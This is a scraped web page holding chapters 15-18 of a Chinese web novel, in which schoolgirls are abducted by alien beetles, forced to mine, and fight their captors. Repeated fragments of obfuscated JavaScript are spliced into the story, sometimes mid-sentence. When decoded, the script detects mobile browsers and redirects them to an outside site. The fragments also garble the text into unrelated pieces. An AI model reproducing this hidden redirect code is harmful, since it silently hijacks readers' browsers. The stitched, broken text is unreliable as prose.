l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322569|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子? 好可恶的骗子! 见大多数虫子都围在了七寻和风迅身边,叶疏不客气道:“光抓她俩算什么本事,你老娘我在这呢!” 顿时,一部分虫子们被吸引过去,腐蚀性极强的毒液瞬间从口器中射出,在楼顶上溶出一个个坑洞。 艹! 急速躲过,叶疏忍不住在心里爆粗口。 这要是沾一点在身上,骨头都得给你溶没了! 再回头,七寻不知何时已爬上高台。 在叶疏心惊胆战的目光中,七寻猛然跳起,利落地挥下铁棍,狠厉地砸在甲虫脑门上。 刚落地,七寻便听到身后传来甲虫翅膀煽动的“嗡嗡”声,侧身躲过再爬起,不带一丝停歇地甩出铁棍。 “铮——”的一声,铁棍与身后甲虫的肢体纠缠在了一块。 对方的力气很大,且看起来游刃有余。 甲虫尖锐的口器一张一合,眼看着就要喷出毒液,七寻一咬牙,借着铁棍被虫子固定住的机会,用尽全身力气翻身蹬在了甲虫腹部,然后奋力一扭,将铁棍从甲虫爪子上拧下。 “呼……” 七寻喘着气,身前身后又飞来不少甲虫。 险险躲过一连串的子弹和毒液,七寻身上多了不少擦伤,也有些力不从心。 虫子太多了,这样下去,早晚会被它们逮住。 三人后背抵在一起,叶疏嘴里不知何时又叼了根棒棒糖,她开口问道:“风迅,你鬼点子多,想出什么办法没?” 风迅哽了一下,说:“你说我们可不可以骑甲虫身上,让它带着我们飞呀?” “……怎么骑?七寻刚刚一棍子轰下去,那虫子就偏了偏头,连根毛都没掉,它能乖乖让你骑?”叶疏说着,手中动作不歇,道:“而且,它们身上臭烘烘的,难闻死了!” “直接跳下去。” 两人齐齐看了一眼七寻,瞪大了眼睛:“昂!” 七寻观察着,说,“这些虫子攻击虽然猛,但是你们看,很多都围在了外围,没有要攻击我们的意思。” “它们抓了那么多师生,应该不是奔着要我们命的……” “而且,刚刚我砸的并不是甲虫的脑袋,而是它脑门上那两根长须。” “等等……”风迅突然出声,喜道:“那只甲虫好像有些不对劲!” 七寻和叶疏望去,只见那只没了长须的甲虫仍在飞着,却飞得摇摇晃晃,一副着急逃走的模样,而它周围的甲虫都自觉地让出了通道。 “不管了,死马当活马医!”叶疏说着,直接冲了上去。 在七寻和风迅的掩护下,叶疏爬上水泥围栏,朝着那只受伤的甲虫扑了过去。 身上突然挂上重物,甲虫晃了几下,飞行的速度慢了很多。 见其他甲虫没有攻击她,叶疏脸上是难以掩饰的笑容,于是大声喊道:“没事,这虫子后背够宽,你们快上来!” 风迅说:“七寻,快,你先上去,我断后!” “好。”七寻没有犹豫,飞快踩上护栏,跳上甲虫后背。 就在这时,刚刚还晃悠悠的甲虫脑袋上忽然冒出两根新的触须。 七寻心生不妙,却已经来不及了。 只见甲虫加快飞行速度,朝着外星航舰的方向飞了过去。 “哎哎哎!”教学楼顶楼,还没来得及跳上来的风迅骂道:“我去你的!要拐一起拐啊,留我一个人在这算怎么回事啊!” 甲虫没有停下来的意思,距离她越来越远,远到都听不到七寻和叶疏的声音了。 风迅绝望呐喊:“啊啊啊你个可恶的臭虫子,不要丢下我一个人啊!” 15. 黑心肝 叶疏将嘴里的棒棒糖咬碎,吐出棍子,问:“现在怎么办?” 七寻朝脚下望了一眼,在确定这个高度掉下去不死也残后,默默在“跳下去”这个方案上画了大大的叉。 她死死抓着甲虫的触角,回道:“见机行事吧。” “哎,希望风迅别莽撞……” 七寻笑了一下,说“没准她一莽撞,撞出大运了呢?” 叶疏挑眉,“人傻运气好?” 这么一说,七寻一下子就想到高二的时候班主任为了鼓励学生学习,举办了班级抽奖活动,只要是月考成绩进步了的,都有机会上台。 她们三个那次月考考得很好,一起上台抽奖。 然后就在众目睽睽之下,七寻非常幸运地抽到了一套生物试卷。叶疏非常荣幸地抽到了两套:一套数学,一套物理。 据老班本人说,十六个盲盒里就只有这两个隐藏款,没想到一下子全摸出来了。 因为太过无语,当时老班摸着他稀疏的头发,夸她俩运气好的场面,直到过了这么多年,七寻还记得清清楚楚。 而趁着她两抽奖,在一旁向老天借运气的风迅成功摸到零食大礼包。 七寻从回忆中抽出,笑意更浓了些,“别让她听到。” “知道,我还不了解她吗?脾气一点就炸……” 教学楼离操场的距离并不远,她们聊了没两句,就被带到太空飞船光束下方。 只一眨眼的功夫,两人就跟着甲虫进了飞船。 落地的一瞬间,两米高的甲虫直接用枪抵住了她们的脑袋。 叶疏微眯着眼睛,然后缓缓将手中的铁棍放下,弱弱地说:“要不就从了吧?” 七寻与她对视一眼,没怎么抵抗,“……行。” 见她们非常识时务地放弃了挣扎,甲虫们纷纷放下枪,开始交头接耳起来。 “滋滋滋?”(关一起吗?) “滋滋滋,滋。”(指挥官说,是的。) 两只甲虫上前,将她们手中的铁棍塞入口中,用唾液分解掉。 七寻:“……”不得不说,风迅那个主意很好,这要是抓回去几只,地球上的垃圾就可以无污染无公害地处理掉了。 当然,这是在不会释放臭气的前提下。 手腕被拷上手铐,两只甲虫站在她们身后,像赶待宰的羔羊一样赶着她们去往目的地。 在这期间,其他甲虫并没有跟上来的意思。 两人心底都松了口气,开始大大方方地观察着周围的一切。 行至中途,对面走来一个身高一米七,接近一米八的,长着银灰色短发的女性。她看得年纪很大,脸上满是皱纹,却并不让人不让人觉得苍老。 擦肩而过的那一瞬间,那人面无表情地睨了七寻一眼,然后迅速收回目光。 七寻愣了一下,回过神来。 忽然,她目光一凌,只见女人身后的甲虫对着墙面扫视着什么,下一刻,完美无瑕的墙面上突然打开一道舱门。 待女人走进,舱门再度关闭。 七寻回头,对上叶疏同样热烈的目光。 说时迟那时快,叶疏突然向前狂奔,七寻则停下脚步,一脚踢在甲虫坚硬的肚皮上。 变故突生,甲虫口中下意识喷出唾液。 七寻眼睛猛地一凝,侧身躲过的同时,手腕上的手铐“咔塔”一声落地。 前方,叶疏随手抛开手铐,眼神中满是斗志,她一边加速朝七寻冲过来,一边大喊着问:“准备好了吗?” 看着正在蓄积唾液的甲虫,七寻估算着时间,麻利转身,屈膝抱臂,目光坚定地说:“来吧。” 在叶疏踩上她手的那一刻,七寻使出最大的力气,将她甩了出去,然后丝毫不拖泥带水地翻身躲过背后射过来的唾液。 叶疏眼神凌厉非常,整个人在半空中翻转了一圈,在甲虫即将喷出唾液的同时,一脚踢在了它脑门上。 巨大的冲撞力瞬间将甲虫脑袋踢歪了过去,口中的唾液直接糊在了另一只甲虫脸上。 “你也尝尝这恶心玩意儿!” 视线受损,甲虫脚步不稳地倒退几步,直接摔倒在地。 这简直正中两人下怀。 七寻捡起来地上的手铐,绕在了甲虫头上。 甲虫脖子纤细,七寻紧咬着着牙,一把将其掰断。 断头处流出脓液,那味道比甲虫口水还要恶心一百倍。 七寻干呕了一下,抓着甲虫头上的角,将那颗脑袋从地上拿了起来。 还没来得及高兴,七寻就被叶疏拽了过去。 而她刚刚站着的地方,已被唾液占据。 七寻脊背全是冷汗,差点就被甲虫唾液融了。 时间紧迫,两人没时间纠结,直直朝舱门的位置跑去。 背后那只甲虫的速度很快,转眼间就要追上来了。 七寻被叶疏托着在墙上找舱门开关,时间一分一秒地过去,她却还没找到,不由手心发汗,不由问道:“会是眼睛吗?” 叶疏摇摇晃晃地躲避着甲虫唾液,咬牙霸道地说:“不是也得给我是!” 七寻:“……” 甲虫的翅膀煽动的声音越来越近,越来越响…… 七寻脑门冒汗,忽然,墙面上红光一闪而过,“哗啦”一声,舱门打开。 还不待她高兴,她整个人被叶疏扔了进去。 七寻摔在地上,却顾不得疼。她连忙爬起来……转身的那一刻,目光触及叶疏背后那几只两米高的甲虫。 它们目光贪婪,眼中冒着血光,不似之前见过的那些甲虫。 什么时候…… 七寻心跳停了一下,瞳孔骤缩,失声喊道:“叶疏!” “呃……”叶疏面色一白,在即将拉住七寻的手的时候,硬生生被甲虫们拽了回去。 七寻爬起来扑过去,背后突然转来一股巨力,将她扯了回来,舱门也在这一刻“唰”地一下关闭。 七寻还没主动挣扎,背后那人就主动松开了她。 她眸露冷光,狠狠将手中那颗甲虫脑袋朝那人砸了过去。 男人挥手挡住攻击,但那张俊逸的脸上还是沾上了些许绿色脓液。 令七寻意外的是,这人竟然毫发无伤。 男人面无表情地反擒住七寻,让她不能动弹。 “你是谁?”七寻怒瞪,冷道:“放我出去!” 见他没反应,七寻又奋力挣了挣,没挣开。 后颈猛地一疼,七寻眼前发黑,带着愤怒后惊恐晕了过去。 · “这是新一批的奴隶。” “里面有不听话的吗?” “有。指挥官说这个最不听话,最最最凶,一定要小心再小心,不然她能把你们脑袋揍开浆!” “明白!谢谢大总管提醒。” 耳边传来嘈杂的人声,七寻后颈疼得要命。 叶疏! 七寻睁开眼,发现自己躺在地上,手腕又被人拷上了手铐,身上还捆满了绳子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330780|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就算是捆螃蟹也没有这么捆的…… 抬眼,只见自己身边围了四五只两米多高的甲虫。 七寻:“……” “她她她,她醒了!”甲虫口吐人言:“她会揍我们吗?” “她都被绑着了,怎么揍你?”说着,那只甲虫伸出长须,在那只甲虫脑袋上鞭笞了一下,“怎么这么笨呐!她现在插翅难逃,只有我们揍她的份。” “啊啊啊总管,她瞪得好凶,我害怕~”身量小一点的甲虫缩在大甲虫身后,颤巍巍地冒出头偷瞄。 闻此,七寻眼睛微眯,努力让自己更凶一点。 甲虫总管被瞪得默默退了一步。 七寻保持着面部表情,努力支起身,疑惑于这些虫子怎么跟之前见过的相差这么大。 可她刚起身,就见她这四五只甲虫外面围着一群黑压压的东西。 七寻心跳加速,还没来得及仔细看清,那些黑色的背影已经转了过来。 像军队里最规整的战士,甲虫一个接一个转过身来,后背厚重的甲壳碰在一块,发出略带闷响的"咯哒咯哒"声。 几百只高大威猛的甲虫将七寻团团围住,齐齐地望向她。 七寻:“……” 她不得不承认,那一刻脚有点发软。 “这里是哪?” 甲虫总管被身后的虫子们推了一下,它咳了咳,说:“这里是甲虫王国,是虫子的天堂~” 七寻反应过来,看向远处灯火通明的城市,又看着脚下这块黑土地,问:“这里不是地球?” “不是。” “你们抓我想干什么?” 它说得铿锵有力,像是带着某种信仰:“挖,矿。” 七寻脑子空白了一瞬,怀疑自己是不是听错了。 甲虫总管像好似看懂了她的疑惑,甩了甩头上的长须,几百只甲虫目光呆滞了一下,然后乖乖让开道。 七寻身子突然凌空,原来是一只甲虫用头上的角将她勾了起来。 有这力气,干嘛不给她解绑啊! 反正她也跑不了。 七寻在心里吐槽着,被甲虫带到一个深渊巨坑旁边。 “你放心,我们这是八小时工作制,包吃包住,包五险一金,还双休喔~而且,达到一定工龄,我们会放你们回去的。” “多少年?回地球?” “10—15年。对,回地球。” “……”这年头,连虫子都比人类讲法吗? 七寻望着黑到深不见底的坑,眯着眼睛问:“我可以拒绝吗?” 甲虫总管想都没想,回道:“不可以。拒绝的下场,只有死。” 她就知道。 这些虫子看着温善,其实根本没给人回旋的余地。 “除了拒绝,在什么情况下你们会杀人?” “我们抓你们来就是为了挖矿,杀了你们成本就提高了,所以直到目前为止,我们没有杀过任何一个人。” 这么说的话,叶疏和风迅会不会也在里面? “好,我签合同。” 甲虫总管愣了一下,说:“我们没有合同。” 七寻也愣了一下,跟它大眼瞪小眼,“那你刚刚说的?” “我们签的口头合同。” 我靠,这不就是画饼吗?这比地球人还黑心! 还不待她反应,甲虫总管的长须又动了动,身后的甲虫立即听命,放开了七寻。 下坠感说来就来,七寻气得差点爆粗口。 16. 下杀手 在接近地面前,一股气波从下方吹来,像一个断断续续的屁,一收一放,七寻浮起又沉下,好几次鼻间差点碰到地面。 她紧张地攥紧手,害怕这玩意一个没控制住…… 好在她担心的事情并没有发生,仪器很快恢复正常,七寻扶着旁边的扶手,腿有些发软。 舱门从外面被人开打,那人长着一副死鱼眼,十分不耐烦地看着她:“新来的?” “是。” “赶紧出来,今天你需要工作八小时,而现在……”那人看了一眼腕表,面无表情地说:“留给你的时间只剩九个小时了。” 居然从今天就开始计时了么? 七寻沉默着,跟着他走了出去。 “这是你的工作服,去试衣间里换好,然后上任。” 七寻伸手接住那套黑色工装,还有那顶银灰色安全帽。 她一走进试衣间就锁上了门,伸手脱掉沾满灰尘的校服外套和裤子,又套上干净的衣服,束好腰带。 见男人还在外面,七寻问:“我的工作是什么?” “搬运,挖掘。”死鱼眼神色恹恹,身上没什么活人气息,在她下一个问题来临前,冷酷地打断了她:“好了,别问了,会有人带你的。” 他朝洞穴里喊道:“小言,过来,带新人。” “好!”一个灰头土脸的年轻人从里面跑出,看到七寻明显愣了一下,然后说:“接下来这几天你就跟着我吧。” 七寻点点头。 文言眼睛亮晶晶地看着她,然后又撇过头去。 好乖。 进入黑漆漆的洞穴,七寻学着文言打开安全帽上的小灯。 她注意到小电灯旁有个计时器,正在倒计时。 两人在矿道间穿梭,偶尔也会碰到其他矿工。 “你叫什么?” “七寻。” “我叫文言。”说着,他不好意思地挠挠头,说:“其实我也才上任两天,但你不用怕,我已经很熟练了,你跟着我学,保准一天就能完全上手。” 七寻接过他递过来的罗盘和地质锤,听他分享经验。 “地下旷工的工作其实很简单,我们一般通过观察地表露头,还有岩层或矿脉的倾向,来确定挖掘方向。工作时间长的老矿工,还可能通过岩石颜色、矿物共生组合或植被异常来判断矿体位置。” 七寻跟着他爬进狭窄的通道,摸着土层表面。 因为深入太多,越往里面,越是闷热,土层表面挂着水珠,手摸上去,能摸到一手水。 “看这里,我觉得这里肯定有矿石。” 像是刻意表现,当文言注意到七寻看向自己时,他紧张了下,砸的位置跟着偏了偏。 然后就尴尬住了。 除了土块,什么都没有。 文言脸上发烫,将手里的长锥塞到七寻手里,支吾地说:“你,你试试。” 七寻没有跟他客气,盯紧某个位置,用力挖了下去。 文言怕她因为挖不到而气馁,早就想好了安慰的话:“就算是挖不到也没有关系的,毕竟是……”第一次。 直到他看到七寻向前探身,在刚刚挖过的地方扣着什么。 七寻不太确定地说:“这里好像有东西。” 文言看去,彻底沉默了。 七寻擦了擦那颗拳头大小的黑不溜秋的石头,怎料手劲太大,直接把石头掰断了,她疑惑地问:“是废石吗?” 她身上有种让人不容靠近的清冷,眼神却显得有些懵懂无知。此刻她看向他的目光,直接让文言失了神。 文言望着她手里的石头,咽了咽口水。 我嘞个乖乖,这石头硬度那么大,她是怎么掰断的? 还那么轻松,跟捏豆腐块一样! 文言头皮发麻。 这不由让他开始怀疑自己,他对七寻的判断,是不是哪里出了差错? 文言张张嘴,没有选择撒谎,坦言道:“是最高品阶的能量石,也是甲虫们最喜欢的一种矿石。” 七寻将他的表情看得一清二楚,黑白分明的眼睛像把刀子,仿佛能刺穿人的灵魂。 她主动开口问:“挖到这个有什么好处吗?” “有的。”文言知无不言:“可以缩短工龄,运气好的话,没准刚来就可以离开这里,回到地球。” 七寻收回目光,“为什么我刚刚看到的矿工,都是男性?” 进来的时候她就发现了,除了她之外,这里没有第二个女性。 难不成那只甲虫骗了她? 七寻眼中迸出危险的光,随手将半颗能量石递给文言。 文言满脸不可置信:“给,给我?” “你没骗我,就当是作为朋友的回报了。” 文言慌忙推拒,道:“这怎么行,这很珍贵的。” 七寻强硬地塞到他手里,说:“如果觉得不安心,就把这个当作报酬吧。” “作为交换,你告诉我你知道的,所有跟这里有关的一切。” 文言点点头,没再推拒。 七寻淡淡扫了他一眼,心中的防线未曾放下过。 文言想了想,回答她刚刚的问题:“一般被送进来的地球人,都是男性,很少有女性被送进来。” 七寻皱皱眉:“没有其他人?也没有其他女性?” 文言斩钉截铁地说:“没有。在你之前被送进来的,只有我一个,所以没有其他人。至于其他女性……我只能说你是我见过的第一个,更多的,我就不得而知了。” “抱歉,毕竟我刚进来没多久,给不了你准确的答案。”文言用他那脏脏的手挠挠头,幸好他头上戴着安全帽,不然他那头棕色的卷毛不知道要脏成什么样。 他脸上是略带歉疚的笑,在这昏暗的地下,显得格外单纯好骗。 “没关系,你只需要把你知道的告诉我就可以了。” 文言松了口气:“好。” “这里只有人类吗?” “对,不过我听说每个月月底,那个甲虫总管就会带着虫子们下来收集矿石。” 七寻问了一个很现实的问题:“需要KPI吗?” “需要。每人每月至少要挖到一颗手指头大小的能量石。挖不到……”他有些丧气的说:“挖不到就要往后顺延年限。” 七寻想到什么,嘴角抽了抽,“口头合同?” “……对。” 这跟虫子的一言堂有什么区别,出不出得去,全看虫子们怎么说。 文言找补道:“其实我们这还算好的了,隔壁有个坑是挖煤炭的,人在里面待久了,保不准要得肺病,一旦生病,可能都活不到回到地球的那一天。” 都是挖矿的奴隶,七寻说不上哪个好哪个不好。 反正在她看来,是哪一个都不好。 更何况,叶疏和风迅并不在这里。 难不成她们没有被抓到? 这是最好的结果,但如果是这样的话,无论如何,七寻都不能继续留在这里。 她有预感,想要突破梦境,就必须找机会逃出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330781|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你头上的计时器已经归零,是不是可以收工了?” 文言没想到她还注意到了这个,笑了笑,“新人刚来不熟悉路况,负责的人不能独自离开。” “这是这里所有人都不说,却都知道的规矩。”文言开玩笑道:“大不了你之后帮我干活。” “好。” 文言怔愣道:“我跟你开玩笑的。” 七寻回头扫了他一眼,认真道:“我不是。” 她不是个喜欢占人便宜的人,所以即便是在这种未知的情况下,也不想欠别人什么。 八小时过去,七寻浑身酸疼。 “这下面暗无天日,怎么睡?” 难不成虫子说的包吃包住也是假的? 文言指着矿道外紧贴在峭壁上的铁轨,说:“矿在最底下,人类生活基地在中层,坐着这个悬浮车上去,就到了。” 随着缓缓升起的悬浮车,两人离开了地下矿场。 中层基地,在七寻看来是一个类似末世人类地下避难的地方。 大门外进进出出很多人,有些看到文言和七寻的人,纷纷热情地跟他们打招呼。 文言一一招手回应,等应付完,他小声嘀咕道:“这些家伙,平时都不带理我的。一见到你,就上赶着想打听点什么。” 七寻笑了笑,没多在意。 随即,她想到什么,问:“你可以帮我个忙吗?” “帮我打听打听这里有没有其他女孩。” 她不知道自己昏睡了几天,万一不止三天,她很可能会跟叶疏和风迅错过。 文言爽快地答应了下来。 “麻烦你了。” “跟我客气什么。” 因为在地下,住宿的地方并不多,七寻只能跟文言挤一个宿舍。 还好是两人间,还是两张单人床。 地下基地资源有限,身上如果不是特别脏的话,矿工们不会浪费水资源去洗澡。 七寻闻了闻自己,发现没臭。 算了,还不知道什么时候才能出去,她得早点适应这里的环境,这几天就不洗了。 睡前,两人一前一后在卫生间里简单擦拭了一下,倒头就睡。 今天是十五号,还有十五天,就是月底。 走了八个小时,七寻昏昏欲睡,但在闭上眼睛之前,她还有更重要的事情要做。 文言看向她的目光很不自然,不带一丝恶意,却让她感到膈应。 必须得在事情变坏之前,就把那颗幼苗彻底掐断。 不给对方任何下手的机会,才能让自己更安全。 睡梦中的文言猛然惊醒,刚睁眼,就见一个小小的身影直愣愣的坐在他床边。 他刚要起身,就被七寻一把摁了下去。 脖子贴上一块冰凉锋利的东西,文言被吓得结巴道:“怎么,怎么了?” “你初见我时,为什么表情那么不自然?”七寻手里的刀又近了几分,逼问道:“老实交代。” “不然,我手里的刀可不是吃素的。” 文言吓得后背都是冷汗,不敢相信自己几个小时前还觉得弱小可爱的人,此刻要刀了自己。 “我,我对你没有坏心思。我只是在看到你的时候,想到了一个人。” 七寻目光一凝,透着冷光。 她并不满意这个答案,所以并没有要放下刀的意思。 “谁?” 文言沉默了许久,才哑着嗓子回道:“我妹妹。” “一个跟你很像的女孩子。” 17. 发洪水 “我妹妹她长得可好看了,是个很文静的女孩……可惜,她得了白血病,我被抓来之前她还在住院。” “我一看到你,就想到了她。”文言哽咽地说:“你不信的话,我衣服口袋里有照片。” 下一刻,一只手在他前胸口袋掏了掏。 文言被七寻摸得全身紧绷,脸上发红,慌张道:“在内衬里。” 七寻丝毫没有弄错的窘迫,直接扯开他衣服。 一个大男人睡个觉包这么严实,难不成怕她行不轨之事? 七寻借着台灯微弱的灯光,看清照片上那个女孩。 如文言所说,照片上是个非常漂亮的女孩子,大概七八岁的模样。 她安安静静地坐在病床上看书,阳光从窗外洒进来,落在她身上,让她因患病而显得不正常的皮肤暖了几分。 羸弱,却能让人看到她身上那股韧劲。 “不过现在看来,你们一点都不像……” 七寻扫了文言一眼,文言立马闭上了嘴。 “这几天被拐来的应该只有高中的学生和老师,你是怎么进来的?” “我来应聘的,正巧碰上了。” 这运气,怎么比她还背? “暂且信你。”七寻敛去凶光,拿开了手中那块玻璃碎片。 “你一个高中生,怎么心眼比我还多。” 当然是因为不纯啊。七寻忍不住在心里吐槽。 她自顾自掀开被子,安然入眠:“睡吧,就当今晚的事情没发生过。” “……”半夜夺命,始作俑者还让他选择无事发生。 这对吗? 文言长叹一口,选择继续睡觉。 之后的几天,文言多番询问,终于确实除了七寻的的确确没有其他女孩被送进来。 七寻狠狠松了口气,又忍不住心梗,因为她不知道该怎么出去。 矿坑深不见底,日照照不进来,只有模仿太阳和月光制造出来的模拟灯,供人视物。 但这些并不能完全解决矿工们身体上的问题,所以日常,他们还需要吃一些维生素和抑制并发症的药物,让自己看起来健康一点。 这不是个好地方…… 七寻拿着地质锤,心不在焉地敲着。 据她这几天观察,地下基地除了矿工外,最特殊的就是那个死鱼眼。 死鱼眼不挖矿,只负责监工. 跟鬼一样,喜欢突然站在人身后,然后用他那死气沉沉的语气问:“你在干嘛?” 七寻好几次摸鱼都被他抓了个现行,还得了警告。 七寻恨恨地一锥子凿在土层上,然后就听到了“哗啦啦”的水声。 她面色一紧,有种不好的预感。 果不其然,还不等她拔出锥子,土层瞬间被水流冲开一个口子,水不要钱似地全扑在了她身上。 在隔壁腔室挖掘的文言一听到声音就赶了过来,大惊道:“哇靠,你挖到水管了吗!” 七寻用身体堵住口子,“这地下矿层,哪来的水管!” 文言作势要上前帮她,又觉得哪里不对,回身往外走,就这么几秒钟的功夫,他差点把自己转晕了过去。 七寻气极,正要开口让他挖点土过来把豁口堵住,土层周围接连破开,多得她根本堵不住。 当机立断,她一把拉住文言的手。 可比他们逃跑速度更快的,是如洪水决堤般的地下水。 两人连求救的声音都来不及发出,瞬间被水淹没。 七寻瞪大了双眼,屏住呼吸,尽最大的力抓紧文言。 水流湍急,如猛兽般冲过一个个地下矿道,后背撞在土墙上,七寻一个没忍住呛了一大口水,她忍不住想要咳嗽,大脑又告诉她不能这样做,喉部像是被灼烧了般难受…… 太不科学了,这水怎么这么多! 再这样下去,她今天就要葬身于此…… 洪流持续不断翻涌,大有一副要把这里冲垮,嚯嚯成一片汪洋的架势。 心跳开始加快,缺氧导致的视野变暗和耳鸣让她一度难以自控,抓着文言的手逐渐松开…… 眼看着文言离她越来越远,七寻心中闪过些许不甘心。 耳边传来急促的心率仪的声音…… 她怎么可以就这么死了! 下一刻,一只骨节分明的手破水而出。 紧接着,七寻把头探出水面,她一边剧烈咳嗽着,一边用尽最后的力气将水里的文言拽出来。 这人比她还没用,已经晕了过去。 文言身上的衣服太多,兜水,这也导致七寻需要花费更多的力气拽住他。 手从对方胸前穿过,七寻费了九牛二虎之力才扯下文言身上的衣服,只留一件衬衣。 为了不让对方口鼻再度沉入水中,七寻死死拽住他衣服后领。 两人随着水起起伏伏,七寻心中焦急万分。 时间拖的越久,体力流失的就越严重,她很难保证能一直拽住一个成年男性。 得快点回到岸上,不然这家伙就算是有九条命,都不够造的。 河面上狂风大作,雨珠砸在眼皮上,浑浊的水跟模糊不清的土地连在一起,什么都看不清。 直到,一个漆黑的人影出现在岸边。 那人撑着一把黑伞,衣服裤子黑黝黝的,像水边经久不散的阴魂。 七寻呼吸没来由地一泄,随后紧咬着牙根,奋力朝着那个方向游了过去。 她没有多余的力气喊了,只能祈求那个人能看到他们。 距离越来越近,那人却不为所动,七寻连骂人都力气都没了,用气音喊着:“救命——” 伞柄微微抬起,七寻看到了一双猩红的双眸。 比救援更先一步的,是再次汹涌翻起的江水。 就在两人即将靠近岸边之时,一个浪涛掀起,瞬间淹没了他们。 …… 七寻浑身酸疼,她迷迷糊糊地睁开眼,首先看到的就是同样躺在地上的文言,然后就是那只两米高的甲虫总管。 与先前不一样的是,它的眼睛更红了,与外星飞船上,将叶疏拽走的那些甲虫一样,带着浓重的血气。 “你终于醒了。” 七寻全身绷紧,冷冷看着它,“你想干什么?” “我想干什么?不应该是你想干什么吗?”它头上那两根长须不缓不慢地甩着,阴恻恻道:“你知道违背约定,私自逃走是什么下场吗?” 七寻撑起身,与它争辩:“那是意外事故,如果我不逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347477|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我就死了!” 可甲虫总管根本不听她的,面部口器大张,流出浓稠腥臭的口水,自顾自地说:“是会被吃掉。” 它的语气分外平静,七寻却只觉头皮发麻。 她怔愣了一下,才发现甲虫头上的长须不知何时甩在了她头上。 它在吸她脑髓! 意识到发生了什么,七寻哪能坐以待毙,直接挥手将那两根长须掀开,拔腿就跑。 “你跑不掉的。” 黑土地上立起一个个黝黑的身躯,那是一只只正在流口水,等待狩猎的甲虫! 之前在水中消耗的精力还没有缓过来,七寻腿脚发软,狼狈地躲开甲虫们甩过来的触须。 她跄踉一步,差点摔在地上,顺势抓起地上的泥土扔了出去:“滚开!” 甲虫们蜂拥而至,将她周围围了个水泄不通,一根根长须刺入大脑皮层,吸附在头上。 七寻大脑有那么一瞬间的空白。 她伸出手,想要挣脱出束缚…… 一个身穿黑色军装的人从甲虫身后走过,漠然地看着她。 千钧一发之际,七寻推开身前的甲虫们,一把抱住了那人的大腿。 “救命……” 她从水里滚了一遭,衣服还没干,又连滚带爬地在地上爬了好一会儿,身上的衣服只要稍微一碰,就能淌下黑水。 而此刻,她双手紧紧抱在男人腿上,衣服上的水很快就将男人裤子染湿。 头皮发麻的感觉很快褪去,七寻微微侧头,目光扫向已经退至一侧,乖乖收回长须的甲虫们。 这人来头不小啊…… 七寻不动声色地掩去眸中冷光,她感知一向敏锐,所以从这个人靠近的那一刻,她就认出来了。 那个站在她背后,让她错过救叶疏的时机的人;那个站在雨幕中,见死不救的人……就是眼前这个人! “要我救你?”他声音清冽,好似不屑一顾。 周围一片安静,年轻的外星军官微微低下头,猩红眼眸中只剩那个落水狗一样狼狈的身影。藏在黑色大衣下的手指摩挲了一下,迅速从七寻眼前拂过,然后若无其事地说:“也不是不行。” 他语气中带着若有若的笑意,好似闲来无事出门散步,顺手捡到了一个宝贝。 如果七寻没看错的话,他拿走了一根碎木枝。 还不待七寻回应,他已经抬起了头,冷道:“都围在这里做什么?” “难不成你们连我的人都要抓?” 甲虫们你看着我,我看着你,正准备一窝蜂退下,却被人叫住。 “等等。” 众甲虫回身,看着她。 七寻站起身,不急不慢地开口道:“把文言放了。” 在七寻看不到的地方,男人眼眸微微一眯,透露出些许危险。 他抿抿唇,不含一丝情绪地说:“听她的。” 七寻扭头看他,有些意外。 甲虫们按照男人的吩咐,将文言安置在了医疗处。 七寻跟在男人身后,开口问道:“您要带我去哪?” 像是被什么取悦到,男人有问必答:“外星军官休息室。” 七寻将信将疑地跟着他,利刃悄无声息地从衬衣口滑出。 18. 指挥官 休息室很大,一个饮茶赏花的外间,一个休息睡觉的内室。 趁着男人背对着她,七寻直接上前,就将刀抵在男人脖子上。 岂料对方察觉到,迅速转身准备伸手反击。 七寻哪能如他的愿,直接将他撞倒在沙发上。 男人闷哼一声,看着压在他身上的人,眼中晦色一闪而过。 他垂眸,隐约能感觉到抵在自己脖子上的刀。 “我想起来你是谁了。”七寻眯着眼睛凑近看他,似要将眼前这人里里外外都看透,“你是那个把我拉进来的少年。” 虽然两人穿着不一样,样貌上却有许多相似的地方……就是性格上,这差别也太大了。 一个温和单纯,一个让她怎么都看不透,反正十分地遭人恨就对了。 “放我出去。”她说着,手中的刀又前进了一分。 岂料男人丝毫不为所动,他轻轻挑眉,双手搭在沙发靠背上,闲适的后仰,像是完全不担心她砍下来般,“做梦去吧,梦里什么都有。” 七寻作势砍下…… 红色的鲜血从颈动脉喷出,仅仅只是一瞬间,就溅在七寻脸上,衬得她那张脸苍白无色。 